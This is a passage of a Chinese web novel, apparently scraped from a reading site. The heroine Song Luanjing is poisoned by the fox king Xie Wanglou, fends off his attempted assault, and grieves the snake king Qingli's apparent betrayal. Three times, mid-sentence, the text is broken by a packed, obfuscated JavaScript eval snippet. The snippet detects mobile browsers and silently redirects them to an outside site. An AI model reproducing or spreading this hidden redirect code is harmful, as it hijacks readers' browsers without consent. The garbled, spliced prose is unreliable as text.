听完小凤的话,我接着埋头吃面,轻轻道:“李叔很疼爱银杏,他的确每年都给银杏准备银饰。外婆没过世前,我每年也有。” 与李叔不同的是,李叔喜欢给银杏打长命锁,外婆则喜欢直接给我银块子。 也许,外婆早就料到我这辈子不会嫁给人类…… 蛇王才不稀罕我攒的那一箱银疙瘩呢。 不过,小凤凰说青漓给我买了红玉簪子…… 消沉的心绪总算燃起了一丝希望。 他还记得给我准备礼物。 我就晓得,他不是真的不想见我! 他不可能,无缘无故地就疏远我、抛下我…… 小凤凰人模人样地抬起翅膀拍拍我后背: “好啦主人,虽然今年没有外婆的礼物,但帝君会替外婆补偿你的! 帝君肯定是嫌银饰不值钱,所以才会特意找桃花妖买红玉簪子,玉中绯者为贵,桃花妖的雕刻手艺可是九黎山一带最顶尖的,她做的饰品通常都是千金难求。 据说帝君是拿了不少仙丹灵石才换走桃花妖手里那枚艳得像雪中落梅的红玉凤凰花簪,哎,这天上地下,也就只有主人你才能引得帝君心甘情愿为你花心思。” 听着小凤凰的描述,我紧揪着的心总算放松了几分。 但这也让我更加坚信青漓在外面可能遇上了什么麻烦事,要不然他不会这么急着和我撇清关系。 “凤凰,你能替我办件事吗?”我浅声问蹲在桌上啄溏心蛋的小黄鸟。 小凤凰抬头:“主人你尽管安排!小凤我保证给你办得妥妥的!” 我放下筷子认真道:“你能不能帮我跑一趟柳叶村,我想知道近几天柳叶村妖物**究竟是怎么一回事。” 小凤凰想了想,坚定颔首:“这个简单!小凤吃完就飞过去瞧瞧。” “我要知道真相。”我沉沉嘱咐。 小凤凰乖乖答应:“没问题!” “你过去,尽量不要被青漓发现。” 小凤凰似懂非懂地愣了愣,最终还是选择温顺听话:“哦……” …… 上午八点,小凤凰挎着一包甜瓜子,轻装上路飞去了柳叶村方向。 这一走,就是大半天。 傍晚四点半,我在家等的心神不宁,便出了院子去门口池塘边散心。 放眼看向开始西沉的落日,我长舒一口气,总觉得浑身不自在。 身后一阵阴风袭过,有些寒,吹得我脊背发凉胳膊上起鸡皮疙瘩。 我下意识搓搓手臂。 肩头陡然一沉。 我低眸,余光却瞥见一袭火红衣袍被一双修长纤瘦的大手披在了我身上…… 我惊惶转身,抬眸就对上了那畜生邪魅勾魂的吊梢狐狸眼! “谢妄楼!”我当即不受控地慌张后退,与他拉开距离。 他迅速伸手,一把攥住我的胳膊,不许我再往后退,赶在我张口骂人前慢悠悠地挑眉提醒:“再退,就掉池塘里了,小东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着,还硬扳过我的肩膀,强迫我看水泽对岸那两条亲密贴蹭的巨蛇…… 目光落在对岸那条缠住紫花母蛇的大青蛇身上,我顿时憋住了呼吸,神魂大乱地闭上眼睛。 片刻后再睁眼,竟见那两条巨蛇一青一紫两抹光影乍现后,同时化成了人形。 青蛇正是一袭墨青古袍的青漓。 紫蛇则是位相貌美艳,乌发及腰,丹凤眼高鼻梁朱红樱桃唇的妩媚女子…… 女子身上只穿了件深紫色颇有韵味的抹胸束腰暗花纹长裙,刻意压低的抹胸上衣勒出了饱满诱人的好身形。 长发只用几枚金钗简单挽了个发髻,雪白的天鹅颈上还错落着几处来历不明的暧昧红痕。 甫一化成婀娜人影,就亲**往青漓身上贴,肤若凝脂的藕臂亲昵搭在男人肩膀上,纤纤玉指挑起胸前一缕长发,一举一动都极为诱人的在指尖慵懒绕圈圈…… 而水泽对面岸上清风霁月、长身玉立的男人,并没有立即推开她。 两人背对着我们,似是攀谈了许久。 几分钟后,青漓还从袖中取出一枚绯红凤凰花簪…… 亲手给女人戴在发间。 女子优雅抬手抚了抚发间玉簪,开心地抱住青漓脖子贴脸…… 我的心,也在青漓取出凤凰花簪**紫衣女子的乌发上的那一瞬,彻底坠入了冰窟。 体内紧绷着、全靠心中那一丝幻想强撑着没断的那根弦……也啪的一声,裂成了两截。 我身上一软,脑中霎时空白,四肢无力的差些原地瘫倒下去。 尖锐狐爪**我肩胛骨的谢妄楼及时松手,忙将畜生爪子化回人手,攥住我的手臂帮我撑住重心。 意外蹙眉,急躁语气中夹杂着嫉恨与不满: “他在你心中就这么重要?你们才认识多久!看见他和别的母蛇缠绵,你便难受成这样?!” 猛地松了口粗气,他咬牙切齿: “当初你亲眼瞧见本王与宋花枝欢好,可没有这么大反应!” 第99章 他需要你的气运,唤醒他的爱人 “那要不然呢?” 我痛苦压抑着心底的不安与酸涩,冷漠转身,无情反问: “你和我有关系吗?你爱与谁上床关我什么事?况且,你狐王最大的癖好不就是这些男女之事!” “宋鸾镜。”他指节暗暗用力,攥疼我的手臂,脸色铁青眼神凶恶地磨着后槽牙恐吓我:“你再不好好说话,本王就拔了你的舌头!” 我不屑冷笑,抬眸嫌弃地盯着他: “你如果真有这个本事,大可试试。不过你现在身负重伤,我有鬼符护身,还有法器相助,你能不能打得过我,还难说! 谢妄楼,你装什么,你怕被青漓发现,以你现在的能力,撞上青漓就是等死的命!如今你我动起手来,顶多两败俱伤! 你想拔我舌头,你敢不敢赌,是你拔掉我舌头快,还是我设法把青漓引过来快?我现在还是青漓的大老婆呢,他蛇尊的原配夫人被你伤了,传出去打的可是他的脸。 你觉得他会在你伤了我后,轻易放过你吗?你都这个德行了,还敢来他面前蹦跶……” 谢妄楼的老脸越听越沉,不等我说完就迫不及待地一把攥住我脖子,紧张急切逼问:“你怎么知道本王身负重伤?说!是谁走漏的消息!” 我呼吸一滞眼前一黑,差点被他掐晕过去,强忍下脖颈处的勒痛,艰难哑着嗓音、断断续续道:“还、需要、别人走漏、消息么?这九黎山、一带,有什么事、能瞒得住他……” 谢妄楼皱紧眉头,许是觉得我说得有道理,这才猛用力挥袖甩开我。 我重心不稳地后退两步,肩背重重撞在粗壮坚硬的苍松树干上。 深喘几口粗气,我人还没缓过神,就听面前的谢妄楼讥讽一笑: “你很聪明,都敢反过来威胁本王了。不过,看见此幕,你作何感想? 是,本王是重欲贪美色。你觉得本王脏?那他呢!本王重欲,但本王敢光明正大的玩女人。 总好过某些人,表面装得清心寡欲,背地里,却干着暗度陈仓偷鸡摸狗的上不得台面之事!” 双臂一甩袖袍,他得意的双手背后存心用肮脏言语刺激我: “你说你当初若是肯老老实实地嫁给本王,本王看在你与你姐姐长得有七分相似的份上,说不准还会留你一命。 本王好久都没有遇见性子刚烈,敢反抗本王的有趣女人了,你这么独特,说不准本王哪天心情好,就封你做地位仅次你姐姐的狐妃,总好过,在他身边做无宠的花瓶。 你看看他与那条母蛇,你们俩,有在深山里,如此风景秀丽的地方做过吗?他有送过你什么吗?镯子?” 他伸手,强行攥住我的右腕,挑眉用最锐利的言语扎我心: “男人送女人镯子,是想锁住她,何况,这只镯子还在时时刻刻、吸噬你的精血。可男人送女人簪子,你应该比本王更清楚是什么寓意吧! 这两天,他可一直都陪在这条母蛇身畔,今日的这幕场景,早已在你不知道的时候,于此时此地上演了无数遍…… 哦对,你还不知道吧。蛇尊在被**在娘娘庙下的禁地内之前,已经有道侣了。” 有道侣三个字恍若一把锋利的刀刃,猝不及防便刺穿了我的胸膛扎透了我的心脏…… 胸口陡然剧痛,像有千斤巨石从天坠落砸在心尖,震得我胸腔猛地颤颤。 一股滚烫的气息在胸口中疯狂游窜,灼烧着我的五脏六腑,心脉附近的每一条血管。 不觉间,眼角已湿润一片。 他慢悠悠地绕到我身后,继续说着伤人的现实: “如你所见,那条紫蛇就是蛇尊的道侣。蛇尊被**在娘娘庙下后,这条紫蛇为了救出蛇尊,曾硬扛了上苍九道天雷,被劈得元神受损,被迫沉睡。 的确,当初是你唤醒了禁地的蛇尊,蛇尊后来待你,还不错。但你以为,他对你好,是因他喜欢你吗?别做梦了!” 他蓦地从后伸手按住我的脑袋,冰凉手掌紧贴我的太阳穴,逼迫我去看对岸那依偎在一起、亲密缠绵的一双璧人。 我扭头想反抗,他却掌中用力,为了降服我差点掰断我的脖子! 直到确认我的朦胧视线直勾勾落在那抹熟悉的墨青背影上,他才继续阴狠道: “他对你好,是因为你体质特殊,你身上灵气重,神魂承载了一半的阴苗族圣女气运!他需要这些气运,来唤醒他的道侣。 蠢货你知道么,为了唤醒这条母蛇,他可是废了好些功夫,连自己的修为都渡给她了!你现在还觉得他喜欢你,对你有情么? 你受伤时,他有这样待过你吗?你只是他唤醒心爱女人的道具,他的心上人一醒,你这个工具人就得靠边站,宋鸾镜,你永远也休想走到他心里去,因为他的心,早就被别的母蛇装满了! 呵,谦谦君子,干干净净?你给本王看清这一幕,看他究竟是如何与真心呵护的女人相爱的,看他是如何利用你,来救回心上人的! 你还傻乎乎地把自己给了他,殊不知你在他心中,就是块破抹布,连他心爱女人的一根头发丝,都比不上!” 破抹布、连他心爱女人的一根头发丝都比不上…… 我额角青筋崩得酸痛,胸口似被人砸进一根粗硬铁钉,疼得发堵。 脑子里一片混乱,耳边嗡嗡作响,愈发听不清身后人在聒噪些什么了…… “跟了本王,本王虽有后宫三千,但本王的狐狸洞中,始终有你一席之地。” “看看这对奸夫**!你真的不恨吗?” “他从始至终都在利用你,他只是想吸走你体内的灵气,为他心爱的女人疗伤,唤醒他三百年前的道侣!” “你把他当夫君,殊不知在他眼中,你就是个自作多情的跳梁小丑!” “你甚至连他的妻子都算不上,你俩有过婚礼吗?他有向山中众仙妖公布过你的身份吗?” “因为他觉得你不值!你是人类他是蛇王,你只是他手中的玩物!” “宋鸾镜,本王再给你一次机会……选本王,还是选他。” “……” “别说了!” 我忍无可忍地挥袖用法术震开他,浑浑噩噩游走在被逼疯的边缘,转身面向他一字一句,红着眼眶道: “就算他利用我,拿我当抹布,我也不会选择跟你!谢妄楼,你又是什么好货色吗?你比他还无耻虚伪!” 袖摆甩出去的强劲灵力迅速扫过河边水草,掠过水面波光涟漪,径直往对岸的树林里袭去…… 对岸半人高的蒿草被劲风吹得猛一摇摆,灵力擦过他衣角,没入密林深处。 我的法力,他不可能感应不出来。 狼狈后退数步的谢妄楼立马反应过来,昂头目中杀意凌冽地盯住我,咬牙怒道:“你是故意的!” 但下一秒,极快地翻手在指缝中化出两根银针,嘴角上扬,噙着嘲讽的弧度: “好啊,那本王就再同你赌一把,本王给他选择的机会,看他是选你,还是选那条母蛇!小鸾镜,输了,你就是本王的了!” 话音一落,我就看见一根银针嗖的一下朝对岸飞过去。 几乎是同一时间,另一根银针被打进了我的后背,整根没入我的身体…… 偏一分,便能扎穿我的心脏! 银针初入体,除了疼,暂时还没有其他不良症状。 我仓皇失色地厉声质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226444|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问谢妄楼:“你到底想干什么!” 谢妄楼邪魅眯眼,恣睢笑道:“这两根银针上,被本王抹了狐毒。世人只知蛇毒骇人,却不知狐毒,才是最摧残人心智的毒物……” 正说着,对岸那名紫衣蛇女就痛苦捂胸,一口黑血喷了出去…… 我体内的狐毒也在此刻发作,心脏遽然一阵绞痛,一股热流抵上喉头,我控制不住地弯腰就喷了谢妄楼一身血…… 对岸的男人余光瞥见我也呕了血,本能地转身要朝我走来。 可,一步迈出…… 下一刻,他竟又收回步伐。 只因他心爱的蛇女两眼一闭晕了过去。 他急着回身,伸手揽住蛇女的腰…… 之后,没再管我,扶着蛇女就化作一道青色流云,消失在了水泽对岸…… 直到他的背影消失在视线里,我努力压在眼底的泪水才彻底决堤,一颗连着一颗往下掉。 本来就不该对他抱有希望……是我、太抬举自己了。 早就该猜到这个结局了,我究竟、在期待些什么…… “你输了,本王的新狐妃,跟了本王,本王答应你……以后允你比你姐姐多承宠。”他钳住我的下颌,满脸都是对我此时痛苦神情的欣赏,指腹抹去我唇角的污血,他低头就要吻我的唇…… “别人用过的女人,你不嫌脏?”我别过头,心如死灰的低嗤。 他动作一僵,随即抬手,帮我拂开额角的碎发: “无所谓,你姐姐都已经被那么多动物仙尝过味了,本王不还是照样宠她,只要你答应跟了本王,本王替你报仇如何?” “你打得过他?” 我抬眸直视他的灰暗眼瞳,毫不避讳地戳他软肋: “凭你区区五尾灵狐的修为,能如何帮我报仇?你如果真有那个能耐,现在就不会出现在他老婆面前挑拨离间!” “宋鸾镜你知道吗,本王最恨你瞧不起本王的样子!可本王,又偏偏很期待能将你彻底征服的那一刻。中了本王的狐毒,只有本王能解,这一次,可和鸳鸯缠不一样。” 执起我的手,他忽然逼近我一步,抬臂挡在我右侧,掌心抵着粗壮树干,有意往我耳畔喷洒着燥热吐息: “你再崇拜他,信任他又如何,他现在不还是不要你……本王不嫌弃你是他用过的,跟着本王,本王给你解毒,以后,本王做你的依靠。” “那我要是不答应呢?” 他弯唇一笑:“由不得你不答应!” 说完,他发了疯地将我按在树上就要扒我的衣服…… 我没有反抗的很厉害。 我在赌…… 赌那个人,回不回头。 衣物上的银铃铛摇晃得剧烈,杂乱的铃声回荡在整片寂静的山林里…… 可直到谢妄楼将魔爪放在我绣了莲花的里衣上,那人也没有出现。 我绝望地闭上双目,一滴清泪滑过眼角。 果然,靠山山会倒,靠人人会跑…… 只有靠自己,才能活下去。 我立即施法念咒化出一张鬼符,趁他准备撕破我最后一件衣物时,手快地将鬼符贴在他肩上。 黄纸上鹰血符文顷刻迸发出无数条红色血丝,将他瞬间牢牢缠裹住。 我扔掉身上被他撕破的外衣,挥手重新变出一袭黑纱广袖红裙,手法娴熟地结印出掌—— 一道红光将他震飞出去,重重摔落在百米开外的一棵百年老松树下。 法力掀的松树树冠猛一摇晃,无数枚褐色松果簌簌而落,噼里啪啦砸得他更加狼狈火大。 我从袖中掏出帕子用力擦手,嫌恶道:“真脏。我早就说过,你现在身负重伤,非要动手,不一定打得过我。” 第100章 本尊与她什么关系,你在意么? 脏帕子攥成一团随手扔地上,我当着他的面大摇大摆快步离开。 到嘴的人飞了,谢妄楼那家伙恼得直捶地。 “宋鸾镜,算你狠!” “你迟早还会来找本王的!本王就不信的,你一个人能扛得住本王淬炼千年的诛心狐毒!” “宋鸾镜,本王等你求着本王为你解毒的那天!” “到时候,本王定让你跪着请本王临幸你……” “宋鸾镜,你这个蠢货!” 他在我身后骂得声嘶力竭。 我抬指用阴阳鬼术封住自己体内的异样感受,抹了把额头上的虚汗,冷笑着低喃: “求?我宋鸾镜这辈子最大的优点就是有骨气!想让我求你?做你的**大美梦去吧!” 我就算是死,也要死得堂堂正正。 被毒死与被狐狸仙玩死,我宁愿尝尽苦楚,肝肠寸断而亡! 蛇王有一句话说得很对。 永远不要把自己的性命压在别人手里,唯有自己强大,才有随心所欲的底气。 呵,什么磨练我,拿谢妄楼做我的磨刀石。 不过是他不屑出手救我,找的一个听起来很真心的幌子罢了…… 真正的在意,怎舍得让对方受半点伤害。 就像刚才,我与那名蛇女同时呕血,他想也没想,就选择抱着那名紫衣女子离开…… 为了救她,利用我的体质,吸噬我的灵气,送给她用…… 他还不惜,将自己的修为渡给那个蛇女。 原来他早就有道侣了。 罢了,本就是互相利用。 是我先招惹的他,当初找到他,不就是为了利用他挡灾么…… 他现在利用我救自己的心上人,多公平。 …… 谢妄楼这次给我下的狐毒与前一回的鸳鸯缠不同,发作起来也不似鸳鸯缠那样如烈火焚身,短时间内就会丧失全部意识。 相反,这次的狐毒倒是种正经得不能再正经的剧毒,和谢妄楼本人气质完全不符。 我都怀疑这毒到底是不是谢妄楼亲手淬炼的了。 狐毒发作时的反应与鸳鸯缠发作初期的症状截然相反,鸳鸯缠会让人内热不止,狐毒则会令人遍体发寒。 那汩汩寒气仿佛是从心脏深处渗出来的,通过全身毛孔,铺遍全身。 即便是二十来度的初夏时节,哪怕走在温热的夕阳下,鼻孔与口中喷吐出来的气息也是阵阵寒烟。 冷意钻进了骨缝里,分明已经用阴阳鬼术控制了体内毒素蔓延的速度,可依旧人还没到家,四肢就已经被狐毒冻僵了。 我抬手撩开鬼师服饰的墨红飘逸广袖,只见胳膊上的点点毛孔表层凝出了盐粒般的冰霜。 皮肤下的青筋紫得瘆人。 原以为狐毒让我在初夏五六月份被冻成雪人已经够厉害了,但万万没想到,这还只是开胃菜。 没走几步,我的鼻血就一滴挂着一滴掉下了鼻头。 任我怎么捂,都只能得到一捧又一捧的淋漓鲜血。 根本憋不住。 我迫不得已只能利用鬼符再度压制体内毒素的威力…… 奈何刚止住鼻血,我就发现自己的小腿上长了一簇雪白的狐狸**。 难道谢妄楼说的诛心,是将我变成狐妖? 可我已经是鬼师娘娘了,半人半鬼之体,他应是没那么大能耐将我变成妖族…… 还是得尽快将体内那根银针逼出来才好。 我默默拢紧身上的衣物,被冻得双腿僵硬,头皮发紧。 艰难且痛苦地挪动步子,一路踉跄走回自己家。 晚上七点,我终于难熬地推开院门,顺利迈进自家安全的地盘,目标明确地直奔卧房而去…… 来不及喝口热水,我脱下鞋子就爬上床,盘腿端坐,运功试着将谢妄楼打进我体内的那根**逼出来。 动荡的灵力在我周身迅速凝结出一层赤金球形防护罩。 大约又过了半个小时,小凤凰也从柳叶村赶回来了。 一进门就着急找水润嗓子,见我在打坐修炼,便没有过多靠近影响我。 只是乖巧地将自己一天收集到的所有信息都汇报给我。 “柳叶村的确在闹妖物,但却不是闹蛇妖。” “闹蛇妖的说法是柳叶村村民们传出来的,我刚开始也差点就信了。” “柳叶村村民们的说法是,他们在闹蛇妖的第二天半夜里,看见了一条浑身是血的青色大**。 大**从西河边仓皇逃离,等村里人打着手电筒赶去西河边查看时,西河边只剩下一堆人类残骸碎片了。 所以他们就咬定在村里****的妖物是大青蛇。” “不过值得一提的是,由于出现在柳叶村的蛇仙是条大青**,帝君也是条大青蛇,所以有些人就怀疑**巨**就是你身边的帝君!” “后来小凤为了核实信息,又找到柳叶村的鸟群鸟王,从它们的情报部门那里得知,真相竟与柳叶村村民们猜测的完全相反。” “柳叶村村民在西河边见到的那条青色巨**确实是帝君,但**的可不是帝君,**的是另一条黑蛟。” “那条黑蛟与帝君似乎还是就相识,好几千年的死对头,黑蛟起初并不知道帝君在九黎山,黑蛟闯入银苗族是因为黑蛟飞升失败被雷劈裂了元神。 众所周知阴苗族族人们的血液里流淌着不一样的上古族落之血,当年阴苗族还是九黎族的时候,曾接受过主、咳,西王母赐予的长生仙药! 虽说如今他们忘记了如何修炼长生之术,但他们的血液里还残留着仙丹的神力,加上当年跟随西王母南征北战的两位九黎族大将军后来都娶了神女为妻,繁衍的子嗣也都生活在九黎族没有踏入神界。 所以九黎族现在遗留下来的这群后嗣族人里,有一半体内都有上古神族的灵血,也因此阴苗族之人对那些飞升失败的灵物而言,就是大补的灵药。” “黑蛟进入阴苗族**,就是为了用阴苗族人修复天雷在元神上灼出的裂痕,他是把阴苗族人当成仙丹嚼了! 鸟群也不晓得帝君为何突然去管黑蛟**的事,黑蛟在阴苗族伤人的第一夜,帝君就现身阻止了黑蛟,帝君似乎、在守护阴苗族。 只是据旁观鸟说,帝君与黑蛟碰面那一刻,两人都挺意外的,都没料到会撞见对方。 然后没多久,两人就打了起来。” “那条黑蛟身上有伤,打不过帝君就一溜烟逃跑了,跑路的速度还挺快,帝君没有逮住他。 然后第二天,也就是祈神节那日,那条黑蛟又想对上山烧纸的族人下手,又被帝君给阻止了,帝君还打伤了他。 然后帝君就一直在柳叶村蹲守他,他吃掉第二个人时,帝君去晚了一步。 他一口就咬断了那人的胳膊腿,所以等村民们跑去查看时,只见到一堆骨头,和两条腿一双胳膊,外加一个脑袋瓜子。 帝君很生气,就现原形和他打了一架,但是这家伙擅长逃遁,又从帝君眼皮子底下溜了。 帝君现真身追赶黑蛟的那一幕正好被柳叶村两个起夜的村民看见了,这才让那些凡人们误以为帝君才是罪魁祸首。” 还真是让我猜对了…… 我就知道,他不会是**的妖物。 他如果真有这癖好,我这个活生生的人成天在他眼前晃悠,他怕是早就将我嚼碎了吞入腹中了…… 小凤突然发觉我在冒冷汗,好奇地扇着翅膀,小心翼翼靠近几分:“主人,你在做什么呢?为什么小凤感觉到了您的不适……您怎么出了这么多冷汗?” 我抿了抿干涩的唇瓣,嗓音生硬地轻声敷衍:“运功修炼卡到某一处了……很快,灵力打通筋脉了就好。” “需要小凤帮忙吗?” 我果断拒绝:“不需要!” 强撑着冻僵的身躯,我压下肩头颤抖,紧绷着心弦又浅浅试探:“青漓这几天,一直在柳叶村吗?” 小凤想了想,道:“大部分时间在柳叶村,帝君在守株待兔!但今天,从下午两点到我回来,帝君的气息都没出现在柳叶村,可能进山抓那条恶蛟去了!” 我听罢却无力苦笑。 那就证明,他现在还陪着自己的心上人…… 难怪,这两天突然疏远我。 原来是真正的道侣苏醒了…… “主人,你到底怎么了?小凤感应到主人的情绪……很痛苦!” 我哽了哽,牙齿打颤地吐出一口浊气:“我没事,筋脉堵塞,灵力受阻罢了。” “主人,你周身寒气为何这么重……” 我紧闭双眼,额角冷汗如雨,察觉到自己就要撑不住了,赶忙催促小凤凰:“你先出去玩吧,我怕吵。” “主人……” “走的时候把门带上。” 小凤凰踟蹰了半晌,才乖乖听话离开我的房间。 临走啪的一声从外合紧两扇房门。 待耳边清静后,我才痛苦地吐出一团寒雾。 抬起迅速被冰霜包裹的僵硬手指,摸了摸脸上的冰粒…… 这毒,确实厉害。 单凭我一人的能力,根本逼不出体内**…… 大意了,我应该直接去找李叔和银杏的…… 李叔家还有阿乞。 他们联手,肯定能帮我逼出**…… 不知道现在去找李叔,晚不晚。 我头重脚轻的单手撑住床沿,连呼吸都隐隐裹着痛,心口似被重物压住,每次张嘴,只能呼进半口气…… 双腿挪下床,我刚起身一用力,脑中便霎时空白,眼前一黑,瞬间失去了意识。 被冻得僵硬的沉重身躯砰一声砸倒在床上—— 浑浑噩噩中…… 我好像、又回到了小时候。 回到了,刚记事那段时光。 小小的我,满眼欣喜地看着面前那位尊贵冷艳的美丽女人。 伸手,满怀期待地冲她张开怀抱。 “母、母亲,抱抱……” “母亲,我是鸾、鸾镜。” 眉眼如画、漆眸红唇的年轻大祭司在听见我这声母亲时,眸中有光亮起,本能地就要弯腰抱我…… 可她眼中的那束光很快就黯淡了下去。 母亲的手,也随即收回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“以后,他会替外婆,疼爱你,照顾你,保护你……” 我昂头,泪眼朦胧地看着清风霁月的蛇王,傻傻失了神。 可画面一转,就是蛇王无情甩开我的手,冷漠羞辱: “你只是本尊用来唤醒她的工具,想得到本尊的爱,你也配!宋鸾镜,本尊对你,从未有过真心!” 那一刻,我只觉得天摇地晃,整个人生,都一片阴暗。 偏偏外婆也被一股黑风卷走,我拼命伸手想要抓住这个唯一对我好的亲人,却没能握住她的指尖…… “鸾镜,外婆不能再陪着你了,以后的路,你要自己走了。” “孩子,外婆对不起你……” 我疯狂扑向被黑风卷进黑洞的外婆,明明已经抓不住了,却还是不肯放弃,看着被黑洞渐渐吞噬的外婆放声大哭—— “外婆……” “别丢下我,外婆。” “外婆——” 蓦地从睡梦中惊醒,我极度恐惧地弹坐起身,满头大汗的无助大喊:“别丢下我,外婆!” 待意识归拢,我才突然看见,某蛇王伸向我,欲抚我额头的那只大手。 我怔怔昂起头,被泪水模糊的视线落在男人深沉的眉眼上,情绪渐渐平静下来。 “做噩梦了?”他收回要摸我的手,拂袖起身,背对着我,依旧与我生疏得要命。 我抬胳膊擦擦额角的汗,努力压抑着真实情绪,嗓音平静道:“你回来了。” 我还以为,他不会再回来了呢。 “本尊需要借助蛇瞳戒指休养生息,方才你喊得太厉害,吵着了本尊。”他背对着我,没有感情地生硬道。 原来,是需要戒指,才回来的。 我就说,他怎么会抛下自己的心尖尖,跑回来看我…… 我低头,一滴泪悄然砸在被子上。 只有假装不在意的哦了声。 他也没再说话。 就那样站在窗前,放眼看向窗外灯影里的梨花树枝。 屋内寂静的可怕,耳畔间,是我俩清晰且沉重的呼吸声…… 我原以为我能忍得住不伤心,不向他寻求答案的。 可时间一分一秒过去,他在我眼前停留得越久,我心里的那份不甘就越强烈…… 最终,我还是双手攥紧被罩,昂头泪眼模糊望着他高大颀长的背影,哑声询问: “白天那个蛇女,和你关系是什么关系?我向你求救,你为什么不理我……” 为什么,选择救她,抛弃我。 他真的是你的道侣么? 立在窗前的墨衣蛇王身影一僵,负在身后的手缓缓攥紧。 半晌,才冷冷回了句:“本尊与她是什么关系,你在意么?” 一句话刺痛了我的心脏。 怎么可能不在意。 我咬咬牙,强压下心头酸涩说:“我俩同时**,你救她,抛弃了我……我们俩,果然更适合互相利用,各取所需。” 他负在身后的手紧攥成拳,又隔了好一会儿才沉沉道: “别装了,谢妄楼的银针上,根本没有毒。那点小伤,你自己就可以解决,用不着本尊出手。” 第101章 原来他心里早就装了人 银针没有毒…… 我低头看着掩在黑纱广袖下的青紫手背。 没有毒,那我现在所承受的,又是什么。 还是说,谢妄楼射进紫衣蛇女体内的银针没有毒,真正有毒的是打入我体中的这枚…… 所以,这才是他所说的,诛心? 我呼吸沉重地闭上眼睛,每一口寒气入嗓,都携着火燎般的疼痛。 他觉得我在装,在演戏…… 说不准现在心底已经烦透了我这副虚伪的面孔,那还解释什么。 都没意义了。 “是。”我默默捏紧双手,整颗心如坠冰窟的麻木道:“银针上,确实没有毒。” 一点小伤而已,死不了。 他听着我的低语,紧攥成拳的五指无声松了些。 良久,才轻描淡写的道了句:“近来阴苗族不安生,你少往外跑。还有谢妄楼,离他远点。不然出了什么事,莫要怪本尊没有提前提醒你!” 谢妄楼……是我主动接近的吗? 不是你,亲手把我扔给谢妄楼的吗? “劳蛇王大人挂念了,我很好,死不了。”我别过头,赌气的冷淡回复他。 眼角余光无意瞥见他腕上的一抹暗红,是血…… 伤口贴近脉搏,被利器划破的血肉外翻,深可见骨。 再严重点,这只手就要废了! “青漓……” 分明心里在生他的气,可看见他的伤,我还是控制不住的担忧。 他平静嗯了声。 我咽下喉间苦涩:“你手腕上的伤……需要包扎吗?” 话刚说出口,我就后悔了。 先前还信誓旦旦的说自己有骨气。 可现在才发现,骨气在他面前,不值一提。 他静了静,软了嗓音:“不用。” 我踟蹰片刻,总归没坳过内心的冲动,从怀里掏出那枚做好的香囊,起身下床,把东西塞进他负在身后的手中: “这是、给银杏做香囊的时候,做多了一枚……你拿着吧,觉得合眼缘就留下,如果不喜欢,找个地方扔掉便好。” 香囊落入他手中,他第一时间收去,拿在眼前细看很久…… 我转身,回到床边坐下。 看着窗边那长身玉立的墨青色尊贵身影,张了张嘴,“如果……我说,谢妄楼的银针上的确有毒,你信吗?” 他闻言,忽然将手里香囊紧紧攥成一团。 但却迟迟没有回应我只言片语。 我心下了然的苦笑笑,彻底**心,躺回床上,侧身面向墙壁…… “骗你的,哪有什么毒。你的心上人也中了银针,要是有毒,你肯定早就发现了。” 毕竟你可是在她刚被银针伤到时,就紧张着急的抱起她,找地方替她查看伤势了。 她身上的银针如果真有毒,你今晚,怕是就不会回来了…… 我抱紧被子,闭上双眼假装安心沉睡。 而他,在我躺下后沉默了将近五分钟,之后并未进入戒指内休息。 选择化作一道青色灵光,飞离了我的房间。 可能是被我刚才模棱两可的话给得起了疑心,着急回心上人那里,好重新确认一遍心上人到底有没有**…… 原来,从一开始,我就是他身边多余的那个。 原来,他的心里早就装了人。 只怪我没有把握好和他相处的分寸,如果我肯老老实实地和他维持互相利用的关系,现在应该就不会这样伤心难受了。 怪我,生了贪念,想要得太多。 …… 一夜无眠,但好在身上的寒意褪去了许多。 难道是毒性真被我运功逼退了? 但,**留在我体内始终是个隐患。 趁着我有力气下地走路,还是先去找李叔与阿乞帮我逼出**比较稳妥。 只奈何,我这两天的运气委实不大好。 好不容易顺利来到李叔家门口,却被邻居告知李大叔凌晨五点就带着银杏阿乞上山采草药去了。 估摸得中午十一点左右才会下山回家。 没找到李大叔,我倍感失落地站在银杏家门口,消沉了好一会儿。 可碰巧的是,我竟在打算原路返回时,撞见了大老远从隔壁村子赶来看望李大叔父女俩的宋潮生。 刚从大城市回来的宋潮生年轻气盛风华正茂,浑身都散发着自信潇洒的光芒…… 与我打照面,四目相对的那一瞬,西装革履的宋潮生惊讶得愣了愣,但很快就回过神认出我,眼下一喜激动唤道:“小鸾镜,是你!” 忙将右手提的礼品转放进左手,和左手的礼物包装袋一起拎着。 腾出手来亲近地握住我胳膊,“还真的是你!四年没见,小鸾镜长大了,也长开了,比当年更漂亮了!” 我迎上他目光中的欢喜诧异,忍着体内不适,勉强朝他抿唇浅笑,客气打招呼:“潮生哥,你回来了。” 宋潮生点点头,想了下,又忙将手里一份礼盒翻出来递给我:“呐,潮生哥特意帮你挑的!” “这是……” 我看着他送过来的礼盒迟疑不接,他却硬将东西塞进我手里,满眼期待地催促道: “先打开看看,潮生哥可是跑了好几家店才买到天然无暇的这东西,你就别不好意思了,拿着!和潮生哥客气什么?你连潮生哥的礼物都不要,潮生哥可是会难受的!别辜负了潮生哥一番好心意!” 